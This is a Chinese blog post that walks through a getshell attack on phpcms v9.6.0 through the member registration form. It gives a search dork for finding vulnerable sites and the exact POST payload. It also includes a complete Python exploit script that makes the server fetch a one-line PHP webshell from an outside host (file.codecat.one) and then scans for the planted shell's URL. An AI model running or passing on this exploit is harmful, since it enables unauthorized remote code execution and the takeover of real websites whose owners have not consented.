phpcms v9本地验证getshell+代码验证

phpcms v9本地验证getshell

本地验证成功:

如果通过phpcms查找不到具有这样的网站的话,还可以通过如下的特征字进行查找:

list-2-4.html  扩展延伸成为:inurl:list-*-*.html

以下是通过本地搭建服务器进行测试:

通过注册界面:http://127.0.0.1/phpcmsv9.6.0/index.php ?m=member &c=index &a=register &siteid=1

输入post内容:

siteid=1&modelid=11&username=a1&password=123456&email=a1@qq.com&info%5Bcontent%5D=%3Cimg %20src=http://localhost/cache.txt?.php#.jpg>&dosubmit=1&protocol=

其中src=http://localhost/cache.txt是本地上传的一个一句话的地址。直接执行即可回显地址。菜刀链接即可成功查看:

代码从网上找到,可以实现。

代码验证

# -*- coding:utf-8 -*-

'''

----------------------

Author : Akkuman

Blog   : hacktech.cn

----------------------

'''

import requests

import sys

from datetime import datetime

def getTime():

    year = str(datetime.now().year)

    month = "%02d" % datetime.now().month

    day = "%02d" % datetime.now().day

    hour = datetime.now().hour

    hour = hour - 12 if hour > 12 else hour

    hour = "%02d" % hour

    minute = "%02d" % datetime.now().minute

    second = "%02d" % datetime.now().second

    microsecond = "%06d" % datetime.now().microsecond

    microsecond = microsecond[:3]

    nowTime = year + month + day + hour + minute + second + microsecond

    return int(nowTime), year + "/" + month + day + "/"

def main():

    if len(sys.argv) < 2:

        print("[*]Usage   : Python 1.py [url]http://xxx.com[/url]")

        sys.exit()

    host = sys.argv[1]

    url = host + "/index.php?m=member&c=index&a=register&siteid=1"

    data = {

        "siteid": "1",

        "modelid": "1",

        "username": "dsakkfaffdssdudi",

        "password": "123456",

        "email": "dsakkfddsjdi@qq.com",

        # 如果想使用回调的可以使用[url]http://file.codecat.one/oneword.txt[/url],一句话地址为.php后面加上e=YXNzZXJ0

        "info[content]": "<img src=http://file.codecat.one/normalOneWord.txt?.php#.jpg>",

        "dosubmit": "1",

        "protocol": "",

    }

    try:

        startTime, _ = getTime()

        htmlContent = requests.post(url, data=data)

        finishTime, dateUrl = getTime()

        if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:

            successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"

            print("[*]Shell  : %s" % successUrl)

        else:

            print("[-]Notice : writing remoteShell successfully, but failing to get the echo. You can wait the program crawl the uploadfile(in 1-3 second),or re-run the program after modifying value of username and email.\n")

            successUrl = ""

            for t in range(startTime, finishTime):

                checkUrlHtml = requests.get(

                    host + "/uploadfile/" + dateUrl + str(t) + ".php")

                if checkUrlHtml.status_code == 200:

                    successUrl = host + "/uploadfile/" + \

                        dateUrl + str(t) + ".php"

                    print("[*]Shell  : %s" % successUrl)

                    break

            if successUrl == "":

                print(

                    "[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.\n")

    except:

        print("Request Error")

if __name__ == '__main__':

    main()

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值